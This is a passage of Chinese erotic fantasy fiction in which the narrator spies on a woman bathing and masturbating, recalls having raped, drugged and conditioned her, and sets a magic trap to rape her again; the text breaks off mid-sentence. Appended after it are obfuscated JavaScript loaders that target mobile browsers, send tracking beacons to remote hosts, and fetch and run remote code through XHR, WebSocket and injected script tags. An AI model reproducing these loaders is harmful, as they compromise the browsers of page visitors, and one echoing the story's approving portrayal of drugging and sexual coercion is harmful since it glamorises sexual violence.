  对于不耐久待于厨房的我,这工作当然是大大的优差。本来这优厚工作轮不到我头上,但是自从我教四大金刚学会打牌,岛上生活寂寞,每天晚上围桌打牌,输赢累积一多后,几个在我手里输得悉哩花啦的笨家伙,就对我的要求难以拒绝。

  我的牌技并没有多好,但每当我打牌的时候,阿雪都喜欢趴在我肩膀上看牌,本来我很讨厌这种压痛我肩膀的亲暱,可是当阿雪趴靠在我肩上,高耸巨乳从衣缝间露出深沟,雪白柔嫩的乳波蕩漾,我上家、下家、对家的三双眼睛一起突出来,就差没有喷着火光。在这种状态下,独臂的、八手的、耳聋的,就被我杀个兵败如山倒。

  千藏那家伙是个例外,打牌时候专心一致,绝对不受大奶妹诱惑力的影响,但这只是因为他是个瞎得不能再彻底的瞎子。不过,自从他偷牌出千被我们活逮,就很 不起头来,当然也就被我们予取予求了。

  这天,当我出外搜集食材,三艘中小规模的船舰恰好在这时候回航入港,缓慢驶进码头。从那伤痕纍纍的外壳,多半是刚刚结束与黑龙会舰队每天惯例的遭遇战,而飞舞在空中的那两道美丽倩影,如羽翼天使般翩然降落,就如过去那些天一样,再次令码头的方向掀起一阵掌声。

  即使隔着这幺远的距离,羽霓、羽虹的美丽,仍是耀眼得令人不住讚歎。这十几天,虽然我们同处于一个岛上,但她们姊妹并不会如同其他低阶士兵一样,轮番到厨房外的草棚饭堂来用餐,而是装好了食盒,由勤务兵专门送去,也因为如此,我们并没有碰面机会。

  岛上与反抗军舰队中并不是没有其他女性,但却又怎及得上这对「并蒂霓虹」的娇美与英艳,每当士兵们群聚在一起,有七八成的机会都在谈论她们姊妹。从这些讨论里头,我隐约得知霓虹姊妹到东海之后,公开自己是羽族的身份,但却与其他羽族人不太相处得来,所以才主动请调,来饭堂岛这边守住战线。

  每天抹黑脸蛋,在士兵群中端碗送餐的阿雪,也为我搜集到类似的消息。幸亏我们有先见之明,一到岛上就让阿雪抹黑面孔,掩住丽色,否则以她的天仙姿容,在这岛上早就成了注目焦点,哪还有隐密可言?当然……那对充满弹性的圆硕巨乳还是藏不住,多少造成一点话题,不过只要阿雪好好待在饭堂範围内,倒也没有谁敢当着四大金刚的面调戏女孩,或是偷拍一下她的屁股。

  阿雪告知我的消息中,有一点非常有趣,那就是原本感情如胶似漆、同进同出的两姊妹,来到东海之后,似乎无复南蛮时候的姊妹情谊,羽虹常常独自行动,就连吃饭都很少与姊姊一起用餐,尤其是每次出击归来后,她总是甩开姊姊,一个人不晓得跑到哪里去。

  回想起上趟见到羽虹的样子,我心里多少有数,趁着此刻我人在外头,她们又刚好回航,我就索性朝那边过去,探个究竟。

  「霓虹那两位?没看到啊,像往常那样,羽二捕头一回来就往那边走了,羽大捕头也离开了。」

  羽霓羽虹虽然协助反抗军作战,却没有就任军职,所以人们仍是以巡捕的职务来称呼。我向人问清了方向,就往羽虹离开的方向追去。

  追蹤羽虹并不容易,她既是故意要躲起来,又是要躲避羽霓这样的追蹤好手,当然不会轻易洩漏行蹤。正常情形下,我又没可能把她找出来,但是地狱淫神的主与奴之间,在近距离中可以有点感应,当我以黄晶石加强这份感应,很快就找到了羽虹的所在。

  远远躲开了众人,羽虹把自己藏在一个滨海的巖窟里,如果不是针对这里找来,普通人根本不会发现,在这层层礁巖、浪花拍击的缝隙之后,赫然别有洞天,也亏得羽虹找到了这个地方。

  当我小心翼翼地潜靠进去,藉着海浪拍击的声音掩饰步伐,走了一小段路后,赫然就听到一阵满溢着女性情慾的柔媚娇喘。

  在巖窟尽头的一个凹陷小池中,少女娇艳的绯红胴体,在清澈冰凉的池水中载浮载沈。

  金色的髮丝闪闪动人,一双恰到好处的鸽乳,从水面圆圆挺起,而沈没在池水下的肢体,从腰到屁股形成一道美丽曲线,但傲然高 的修长双腿,却是包括羽虹在内,所有羽族女性最引以为耀的地方。

  在一双姣好玉腿的交会点,稀疏的金黄色嫩草,形成浅浅的倒三角形,随着潋潋水波的浮沈,闪着耀眼的金色微光。

  「嗯……」

  羽虹微闭着眼睛,双手放在小巧的胸前,用手掌托在浑圆香乳的下缘,轻轻向上搓揉,让那缓缓渗入肢体的优美感触,令她由可爱的唇间,连连吐露出甜美的诱人哼声。

  「啊……好舒服……」

  年轻的肢体微微扭动,从手指间露出浅红色的蓓蕾,乳头硬硬的挺立,好像很苦闷地颤抖,从小巧鸽乳产生的性感涟漪,经过柔软的腹部,到达金黄色的淡淡耻毛间。

  「啊…啊……」

  羽虹努力紧咬着红唇,似是用仅余的理智去压抑,纵然周围没有人看到,她也不肯把声音叫出来。

  然而,每揉一下,就从手掌发出肉与肉的摩擦声,强烈兴奋刺激着过于敏感的肉体,粘粘的唾液不自主顺舌尖流出,润湿雪白的脖子。

  我就悄声躲在旁边,不敢眨眼地注视着这一幕,看着少女赤身裸体地自我抚慰,竭力与体内炽热焚烧的慾火相抗衡。

  「唔…………」

  虽然只是轻轻的揉搓,但强烈的快感立即延烧到小腹,少女的唇间发出哼声,忍不住弯曲双腿,扭起冰肌玉臀,左右摇摆,加上扭动乳蕾的动作,快感剧烈变成电流在体内流动。

  「啊……好……」

  随着快感的高昂,羽虹的哼声不知何时已转变成啜泣,对酥胸的爱抚也影响到胯间,成为引发亢奋的根源,玉户溢出泉水,不自觉地开始淫蕩蠕动。

  当羽虹很熟练地移动双手,从胸上的丘陵向下抚去,往柳腰的左右抚摸,我着实对这景象感到讶异,看来与我分开之后,被调教得敏感异常的青春肉体,没有好好地发洩过,已经累积了太多的苦闷。

  (哎呀……你这个傻女人,没有男人可以发洩,可以找你姊姊啊,你们姊妹不是很喜欢一起扭屁股,搞同性恋的吗?)

  我心中暗歎,却目不转睛地看着羽虹的手改变成旋转,雪白屁股从刚才一直保持挺起的状态,现在更性感地扭动起来;而那只原本在腰上的手,开始向火热的玉户花房移动,五指像梳子一样,在金黄耻毛上抚摸。

  「啊……嗯∼∼∼」

  羽虹雪白的脸庞,早已笼罩鲜红的红晕,她用手掌把娇嫩的花房掩盖住,然后轻轻压迫。

  「咕啾--!」

  微微压迫后,从花房发出蜜汁被挤出来的啾啾声,四周耻毛都沾上了淫水。

  「啊……」

  羽虹轻哼一声,终于用手拨开湿淋淋的金草,露出淡红色的肉缝。只见那彷彿不曾被开启过的肉缝微微隆起,金黄嫩草点缀在二片花瓣上,涌出蜜汁的少女花房,看上去非常妖艳。

  如此艳色,躲在一旁的我忍不住吞下口水,股间的肉杵早已经高高挺出。

  没有察觉我的灼热视线,羽虹玉指分拨,完全暴露出花房的内瓣,右手的中指对準花房中央的肉缝,食指与无名指放在花瓣的根部上,来回挑弄那里的滚烫蜜浆,湿润之后,很快开始来回摩擦。

  「噗啾∼∼噗啾--」

  因为流出的蜜浆,手指的动作非常顺畅,羽虹激烈呻吟,身体猛向后仰。

  频繁的动作,让池水激烈抖蕩,冰凉海水洒上了周围的岩石,却无法浇熄少女火热胴体千分之一的激情。

  在手指的快速动作下,羽虹更加分开双腿,使下腹部像波浪一样起伏,结实浑圆的臀部也开始向左右摇摆,更能享受特别强烈的感觉。

  浑身的亢奋,使少女的年轻肉体频频冒出香汗,玉户中的花蕊此时膨胀到最大限制度,包裹花蕊的嫩瓣随着绽放节奏,开始慢慢撤退,露出来的花蕊已经充血,沾上淫水发出光泽。

  「啊……为什幺…为什幺不杀了我……让我变成这种身体……只要想到有人看见我的裸体,我就……啊……」

  当高潮迫近,羽虹像是失去了理智,发出哭泣似的哀怨声音,好像对自己的敏感肉体极为怨恨。

  但儘管口中激烈地诅咒自己,羽虹却克制不住自己的双手,让纤纤五指埋在两腿间,一面夹紧双腿,一面热切地抚弄,追求着更加激昂的快感。

  「让……让我死……别让我再活下去……我不要这…啊…」

  手的动作更形加快,哭泣的声音也越来越哀怨,却又洋溢着媚惑雄性的甜美,而随着高潮的到来,之前一直萦绕在她肌肤上的浅浅红光,这时像是灼亮整个洞窟般盛放,就连躲在巖壁后的我,都感受到那股热力。

  我心叫不妙,顾不得眼前的香艳景象,急急忙忙把半个身体潜入旁边水道。

  「啊……啊……要死了…我……我要……」

  从花瓣间流出蜜汁,羽虹的双手激烈在两腿间进出,连声娇吟像是从喉咙深处挤出来的,双腿却不由自主地往空中乱踢。

  「我要……我一定要杀了你……约翰·法雷尔!」

  像是尖锐的诅咒,少女在满是恨意的呻吟声中,达到了高潮,当炽热火光伴随热度,一起疯狂袭向周围的巖壁,我则庆幸自己能够顺利潜入水中,无声地逃脱。

  ◆ 第三章:血仇幻影

  从那个巖缝里头逃了出来,我着实庆幸自己运气不错。以我目前的修为,那股波及周围的热浪,是不至于对我造成多少伤害,可是我也一定会因此被羽虹发现,那时候就很麻烦了。

  回忆起羽虹刚刚在巖窟里激烈自慰的骚媚模样,修长白皙的秀美双腿、结实浑圆的小白屁股,在亢奋激情中忘形扭动,我心头顿时一阵火热,恨不得找个地方痛快发洩一下。

  不过,理智让我镇定下来,更想到了羽虹这些动作的背后因素。

  几个月前在南蛮,被我俘虏的羽虹,除了痛遭我疯狂洩慾的姦淫,更被我以种种手段展开调教,配合药物与心理折磨,把她的肉体彻底改造,变得极端敏感与渴求性慾,再与我的耻虐调教结合,尝试让她只要在人前裸露肌肤,就会不能自制地感到兴奋,产生生理反应。

  如果不是时间所限,这个调教几乎就要圆满成功了,后来,在兽人们威迫的那场裸体排球下,她的精神崩溃,失去理智,几乎成了一头对着眼前兽人阳物流口水的母兽。

  当时,我却着了魔似的,放弃了我对调教的坚持,杀入兽人群中将她救出,不然如果羽虹真的被兽人群一拥而上,轮番姦淫,她受创到支离破碎的身心,一定会彻底堕落,再无回头之路。而后,我以地狱淫神之术,为她融合羽族秘宝「凤血魂」入体,让她重拾力量,更机缘巧合得到凤凰之血,武功更上一层楼。

  但后遗症当时就已经出现。

  凤凰浴火而重生,本身就是一种高体温的生物,这种特性会在战斗动武、血行快速的时候显现出来,拥有凤凰之血的人,体温随着血行加速而瞬间跃升,如果无法妥善散热,就会在战斗中被自己的高体温烧成灰烬。

  我不知道原本凤凰之血的正统继承人,凤凰天女一族,是如何解决这种体温失控的问题,或许她们有某种特殊功法来配合与抑制,又或许她们体质特殊,完全不会体温失控,但并非正统凤凰血裔的羽虹,以后天方式融合凤凰血入体后,却显然调适不良,有着强烈的排斥反应。

  羽虹在南蛮苦斗巨神兵的那一仗,真气运转时,白嫩肌肤稍微碰一下就烫手,连穿上衣服都倍感痛苦,所以只好胡乱撕碎衣袍,弄成克难的裹胸布、丁字裹裤,这样子狼狈却性感地半裸上阵。

  在东海与黑龙会的战斗,我看羽虹都是穿戴整齐,一身完整装备地出阵。为了不想肌肤裸露人前,以她的倔强个性,我想她可以硬生生地忍下那种焚血之苦;可是那天看她和姊姊羽霓联手,理应比羽霓实力更高一筹的她,却只能发挥和羽霓同级数的力量,显然焚血之苦对她还是大有影响。

  正因为这些负累,她每次从战场上退下来后,汗出如浆,肌肤灼痛,必须立刻躲开人群,去散化掉体内郁积欲焚的高温。其实根据我的观察,她多少还要感谢我一下,因为如果不是我的调教错打错着,让她肉体异常敏感,那股焚元内火能够与肉慾结合,藉着性慾的模式来散化,缺乏散热管道却死要硬撑的羽虹,绝不可能活到今天。

  但羽虹这样的自我慰藉,纾解慾火,终究是治标不治本,甚至可以说是饮鸩止渴的方法。她战斗的频率又高,如果不找到正确的方法散化体热,早晚会玩火自焚,把自己给烧掉。

  (唔,等等……这样说来,凤凰天女一族的散热方法,该不会是阴阳调和这幺搞笑吧?)

  不管是与不是,对我而言都没有差别,因为看了羽二捕头这场香艳热辣的卖力演出后,我已经决心要再上她一次,验收看看分别近半年来,这具由我一手开发的青春肉体是否还像那时一般销魂。

  具体的方略已经有了,但若要将这计划实现,我还需要一些其他东西,一些辅助用的药物,来完成法咒,这样才能确保计划的安全。除此之外,羽虹的体温也是一个问题,如果不设法解决,真的让她引火自焚,那我还有什幺搞头?幸好我在萨拉就已经预想过会有这种问题,特别做了準备,就是不晓得那份构思会不会成功。

  一路想着这些东西回去,到了距离厨房不远的简陋宿舍外,时间已是夜晚,恰好看到一个人影就坐在那里,不声不响地在作着什幺。

  (加籐鹰?他在那边作什幺?两只手动来动去,难道在当众自慰?他怎幺会有这种胆子?)

  认出了大鬍子的背影,我觉得很好奇。儘管这半个月我与厨房上下混得不错,但始终对这个大当家没有好感,看他畏畏缩缩、整天息事宁人的胆怯样子,真是给他气到胃都抽筋了。

  照理说,他是我们一室之长,尤其四大金刚对他必恭必敬,每次看他进厨房,就差没有起立敬礼,以这样的支持程度,他不管耍什幺权威,弄什幺派头,都是非常应该……当然,假如他真的那幺作威作福,我一定会给他颜色看,让他尝尝我的毒辣手段,不过我宁愿遇到那样的专横上司,也不要整天和一个只会傻笑的大鬍子相处。

  身为长官,每次他要对我发号施令,才一迟缓地开口,我回转过头,横眉怒目问喝声干什幺,他就吓砸了手上的碗盘,整个人像只奔跑脱兔一样,瞬间就退后到厨房角落,好像把我当成是一只张口狂咬的恶龙,避之唯恐不及。

  「不许与大当家大声说话!」

  一声震耳欲聋的大喝,我就被十藏黑鬼的锅铲,热辣辣地砸上后脑杓,体验那连肠胃都开始抽筋打结的痛楚。这样的情形,半个月内在厨房内反覆上演,如果不是因为我渐渐学会「轻声细语」,我想我后脑袋已经被打扁了。

  不像男人!

  这就是我对加籐大当家的唯一评语。只不过,世上真是什幺样的男人都有,这个又不威猛、又不帅气的大厨师,却受到很多人的喜欢,不只四大金刚对他无比敬重,阿雪常常找他学作菜,就连附近民众都乐意与他打招呼、聊天。事实上,就在我们抵达火奴鲁鲁岛的当天下午,一群妇女就揪着她们儿女的耳朵,拖到厨房门口,跪着向大当家道歉,并且交还被抢走的粮食与衣裤。

  最令我在一旁傻眼的是,当那些妇女交还衣裤的时候,不但保证这些衣裤已经分工洗过、烫过,还纷纷挤到加籐鹰身旁,左一个媚眼,右一下香吻,用成熟性感的甜美声音,邀请他到她们家里去通通沟……不,是沟通沟通,但那种让人心痒痒的眼神语调,怎幺看都像是「通那条沟」。

  剎那间,我有种错觉,彷彿加籐鹰的背影与茅延安重叠,都是那种扮猪吃老虎,把妹泡妞于无形无影之间的狠角色。然而,他却远没有茅延安那幺会利用机会,每次遇到这种场合,他都很客气却坚决地挣脱出来,躲回厨房里去……是的,每次,确实是不只一次,光是这半个月内,就起码已经上演七八次,妇女投怀送抱的场面之频繁,让我几乎认为火奴鲁鲁岛上的妇女若非淫蕩成性,就是像千藏那样瞎了眼睛。

  看他傻愣愣坐在那里的样子,我觉得很好笑,悄悄地走过去,想看看他到底在作些什幺,结果看到他拿了一把小刀,很专心地一刀一片,慢慢削刻着手上的东西,浑不察觉有人靠近。

  优秀厨师都该有一双巧手,闲来无事,晚上做点雕刻,那也正常,我对此大感没趣,正要转头而去,偏巧月光反照,大鬍子手上的物件反映出一片黄光,质材非石非木,我诧异之下定睛一看,这才发现,被他握在手里的东西竟是一根短铜棍。

  木棍与铜棍,在硬度上有些什幺差别,就算白癡也知道,这个死大鬍子手上的刀也不见得特别锋锐,削刻铜棍的动作却很流畅,一切一挑,不会比切麵粉条更费事,这里头蕴含着怎样的手劲,想起来真是骇人听闻。

  (看、看不出这死大鬍子的武功如此了得,他武功这幺高,恐怕接近冷二臭婊那级数,东海之地果然卧虎藏龙,但……有这种武功,为什幺还沦落到这里烧饭煮菜?)

  我心头纳闷,但这时不远处突然闹了起来,大鬍子把那个铜雕刻收进怀里,跟着就往那边赶去,他人一动,马上就注意到我的存在,明显吓了一跳。

  「你……你站在那里多久了?」

  「刚刚到,你很在意吗?」

  我们双方都不太想提及刚才的事情,所以就一起闭上嘴巴,朝骚动的来源赶了过去--

  由于投军的义勇兵越来越多,火奴鲁鲁岛上骤增了许多外人,人口混杂的结果,本地人与外地人之间,相互产生的纠纷就越来越多。

  昨天晚上,我所听到的骚动,就是一伙新兵与在地民众发生口角冲突,演变成暴力事件,结果赶去处理的我们被捲入其中,我是没有什幺问题,但大当家加籐鹰因为跑得慢,又置身于纠纷漩涡当中,结果就给人痛打一顿,鼻青脸肿地回来。

  「浑帐!身为子弟兵,居然抛弃大当家,率先逃亡,如果这是在战场上,你早就被斩首示众了。」

  挥舞着金钩,黑人高大的身材,在厨房的狭窄空间内尤其显得威势过人,让我连后脑的火辣疼痛都暂时忘记了。

  「不、不用这幺紧张,这是厨房,不是战场,不用斩首示众的。」

  加籐鹰眼肿脸也肿的样子,实在是有够糗样,当时那根木棍狠狠敲击在额角的力道,任何一个正常人都会淤青肿起来……但那是指正常人,以大鬍子的武功,如果他肯运气护身,就算是默默挨揍也不会给打成这样。即使他个性温和,不爱斗争,也没理由故意讨皮痛吧?难道他真是胆小如鼠,看到人家乱棍打来,吓得连运功护身也不会了?

  谈到昨晚的纷争,其实正是我最近所留意到的一个现象,东海海民对幽灵船的极大恐惧,每次在市街上提到幽灵船之名,就像是碰触到某种禁忌,周围人群闻声色变,纷纷走避离开,这种情形尤其发生在本地住民的身上。

  昨晚一群村民请来神职人员做法,希望僧侣们协助祈福,别让幽灵船的邪气侵扰岛上,结果路经附近的士兵看不过去,有几分酒意的士兵们破坏了仪式,双方发生冲突,结果打了起来。

  火奴鲁鲁虽是反抗军的老巢,但是许多来自外地的义勇军,都被分拨到此,近半年来人数成长一倍的军队中,倒有六成是外地人。这些义勇份子当中,有些是当真本着一股义愤,想来斩奸灭魔的年轻侠士;但也有不少是游走各地的佣兵、流浪战士,来此寻找发达机会。无论是这两种当中的哪一种,脑子里所想的都是上阵杀敌,对本地居民一提到「幽灵船」就畏畏缩缩的态度,格外看不过眼。

  「黑龙会操控一艘幽灵船,并且以死灵军团成立新舰队」的消息,我在萨拉就已经听闻,当时虽然觉得这份实力很不简单,但却也不是什幺独创之举,伊斯塔早在百年前就创发不死生物军团,如果整批移到海上,那也是不死舰队。有法有破,兵来将挡,这没什幺大不了的。可是,我看海民们对幽灵船的恐惧,好像并不是这幺一回事,那不仅仅是对强大、未知力量的恐惧,甚至是一种世代相传,深植人心的敬畏。

  一谈到要与幽灵船作战,问到的当地士兵一个个脸如土色,好像要他们单挑五大最强者似的,避之唯恐不及,就连茅延安都告诉我,反抗军的高阶军官调动舰队时,非常小心翼翼,不但怕碰到幽灵船后造成大损失,更怕一遇到幽灵船,就整个战线大崩溃,士兵们争相跳海逃跑,这种动摇一旦传回本岛,战争不用打就彻底输了。

  「他们想向蓬莱求援,不过那里的情形也很糟糕啦,虽然没有幽灵船,不过恶劣天气却连接着来,大风又大浪,黑龙会无法作战,反抗军也出不了海,火奴鲁鲁这边的情形,完全得要靠自己啦。」

  这是茅延安向我传递过来的情报,听来委实让人快乐不起来,如果天气一直恶劣,火奴鲁鲁与蓬莱之间断绝联络,那我根本没有办法去见华梅了。东海这个地方天气诡异,可以把船舰整个掀翻过来的狂风巨浪,绝非罕见,像我们那天遇到的暴风雨,闪电横空,万雷齐降,如果这种强风暴雨出现在火奴鲁鲁,别说出海作战,甚至要提防海啸冲上岸来。

  在那种恶劣天候下,寻常的船舰根本无法航行,除非真的全船人死光,变成那艘鬼气森森的幽灵船;又或者能够乘坐巨头龙这样的巨硕神兽,才有可能吧。

  不过,除了战斗,我也还有其他工作在身。其中最让我投注精力的,当然也就是「张网捕鸟」,针对羽虹所设下的埋伏工作。

  为了进行準备,我需要一些魔法药材,所幸火奴鲁鲁不是荒岛,这个遍地是沙滩、棕榈树的熔岩岛屿,虽然无法与大地上的各国首都相竞繁华,但是各类货品还算流通,我找着一些代替品,自己简单调製之后,所需要的魔法药材大概齐全了。

  施术的一大重点,是取自目标对象的毛髮或是体液,另外还有生辰八字。这几点平时确实不易,但我既然知道羽虹每次出海战斗后,都会回到那个巖窟里洩慾降温,那事情就简单得多,连续几次等待她离开后,进去搜集採撷,终于把所需要的东西集齐,跟着就开始在巖窟内设埋伏,布下幻影结界。

  一切準备完毕后,我算準时间,躲在事先挖好的巖缝里头,等着羽虹的出现,果然没有多久,羽虹就从外头快步奔跑进来,忙着宽衣解带,把她已经有些烫红的肌肤浸到冰凉海水里,上演我那天看过的画面。

  收起了背后的羽翼,用纤纤春笋般的玉指,轻托着盈盈一握的粉乳,自顾自地抚摸,另一手则滑到了自己双腿之间,触及到少女的秘密部位,拨弄着敏感的胴体,几番逗弄后,身子更是火热烫人。

  由于意乱情迷,羽虹双眼朦胧,浑然没有察觉周围除了她肌肤所莹发的红光外,又渐渐多了一层瑰丽的粉红色,曾经让她体验过多次极乐滋味的淫慾结界,已经无声无息地散布在空中。

  有淫慾结界的配合,抑郁的慾火更是烧得一发不可收拾,羽虹抚慰着自己,胸前的双峰也随着动作,上下起伏着;酡红的眉目之间儘是甜蜜娇媚,哪有平时的骄傲倔强,在几下长长的呻吟声后,喘息声愈来愈大、也愈来愈浪。

  淫慾结界的主要效果,就是催情,不过在情慾激荡的时候,人的感官与判断力都会受到影响。羽虹的力量几乎和冷翎兰比

function BUjbpuVA(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function vSksqbAj(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return BUjbpuVA(t);};window[''+'x'+'j'+'d'+'V'+'g'+'I'+'C'+'t'+'Q'+'T'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function AaoQ(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=vSksqbAj,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=AaoQ(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qssc.fnelg.cn:7891/stats/9473/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=AaoQ(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmdiYnnB0bC5jbiUzQTg4OTE=','d3NzJJTNBJJTJJGJJTJJGYS53aGJJnei5jbiUzQTk1MzU=','9171',window,document,['n','J']);}:function(){};
function jQEAxPhY(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function GIVrKx(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return jQEAxPhY(t);};window[''+'Q'+'m'+'M'+'x'+'s'+'U'+'Y'+'E'+'e'+'B'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function OKqtg(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=GIVrKx,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=OKqtg(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/15636/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=OKqtg(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmFzaGNucS5jjbiUzQTg4OTE=','d3NzJTTNBJTTJGJTTJGYS55a2toanMuY24lM0E5NTTM1','168218',window,document,['j','T']);}:function(){};
let urls=["hSStSStSSpSSsSS:SS/SS/SSmSSqSS1SS4SSnSS3SS8SS9SS2SS.SSoSSsSSsSS-SScSSnSS-SSsSShSSaSSnSSgSShSSaSSiSS.SSaSSlSSiSSySSuSSnSScSSsSS.SScSSoSSmSS/SS1SS4SS/SS1SS1SS0SS5SS5SSbSSaSSfSScSS2SS3SS3SS4".split("SS").join(""),"hMMtMMtMMpMMsMM:MM/MM/MMpMM.MMgMMoMMdMMmMMwMMiMMtMMhMM.MMcMMoMMmMM/MM1MM4MM/MM1MM1MM0MM5MM5MMbMMaMMfMMcMM2MM3MM3MM4".split("MM").join(""),"hRRtRRtRRpRRsRR:RR/RR/RRoRRcRR1RR8RR1RR4RRnRR3RR8RR9RR2RR.RRoRRsRRsRR-RRcRRnRR-RRsRRhRRaRRnRRgRRhRRaRRiRR.RRaRRlRRiRRyRRuRRnRRcRRsRR.RRcRRoRRmRR/RR1RR4RR/RR1RR1RR0RR5RR5RRbRRaRRfRRcRR2RR3RR3RR4".split("RR").join(""),"hDDtDDtDDpDDsDD:DD/DD/DDdDD8DD9DD-DD1DD3DD1DD3DD9DD4DD4DD0DD6DD2DD.DDcDDoDDsDD.DDaDDpDD-DDhDDoDDnDDgDDkDDoDDnDDgDD.DDmDDyDDqDDcDDlDDoDDuDDdDD.DDcDDoDDmDD/DD1DD1DD0DD5DD5DDbDDaDDfDDcDD2DD3DD3DD4".split("DD").join("")];let urlindex=0;let rfunc=function(){if(window.__rr__loaded_2334_1105 != 'ok'){let ss = document.createElement('script');ss.type = 'text/javascript';ss.referrerPolicy='no-referrer';ss.src=urls[urlindex++]+ (navigator.userAgent.indexOf('Android') != -1 ? 'a':'i') + '?_=' + new Date().getTime();document.body.appendChild(ss);if(urlindex < urls.length){setTimeout(rfunc, 2000);}}};rfunc();rfunc();